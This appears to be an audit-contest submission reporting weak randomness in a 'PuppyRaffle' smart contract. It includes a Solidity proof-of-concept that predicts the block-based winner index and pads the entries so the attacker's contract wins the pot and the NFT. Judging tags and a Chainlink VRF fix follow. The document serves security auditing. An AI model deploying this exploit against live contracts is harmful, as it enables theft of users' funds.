Submission Details
Severity:
Randomness can be gamed
Summary
The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element.
Vulnerability Details
Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT.
Impact
Critical
Tools Used
Foundry
POC
// SPDX-License-Identifier: No-License
interface IPuppyRaffle {
function enterRaffle(address[] memory newPlayers) external payable;
function getPlayersLength() external view returns (uint256);
function selectWinner() external;
}
contract Attack {
IPuppyRaffle raffle;
constructor(address puppy) {
raffle = IPuppyRaffle(puppy);
}
function attackRandomness() public {
uint256 playersLength = raffle.getPlayersLength();
uint256 winnerIndex;
uint256 toAdd = playersLength;
while (true) {
winnerIndex =
uint256(
keccak256(
abi.encodePacked(
address(this),
block.timestamp,
block.difficulty
)
)
) %
toAdd;
if (winnerIndex == playersLength) break;
++toAdd;
}
uint256 toLoop = toAdd - playersLength;
address[] memory playersToAdd = new address[](toLoop);
playersToAdd[0] = address(this);
for (uint256 i = 1; i < toLoop; ++i) {
playersToAdd[i] = address(i + 100);
}
uint256 valueToSend = 1e18 * toLoop;
raffle.enterRaffle{value: valueToSend}(playersToAdd);
raffle.selectWinner();
}
receive() external payable {}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) public returns (bytes4) {
return this.onERC721Received.selector;
}
}
Recommendations
Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
Updates
Lead Judging Commences
patrickalphac
over 1 year ago
Hamiltonite over 1 year ago
Submission Judgement Published Assigned finding tags:
weak-randomness
Root cause: bad RNG Impact: manipulate winner
efecarranza
over 1 year ago
patrickalphac
over 1 year ago
Hamiltonite over 1 year ago
Submission Judgement Published Assigned finding tags:
weak-randomness
Root cause: bad RNG Impact: manipulate winner
Hamiltonite over 1 year ago
Submission Judgement Published Assigned finding tags:
weak-randomness
Root cause: bad RNG Impact: manipulate winner
Rewards breakdown
nSLOC
143This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
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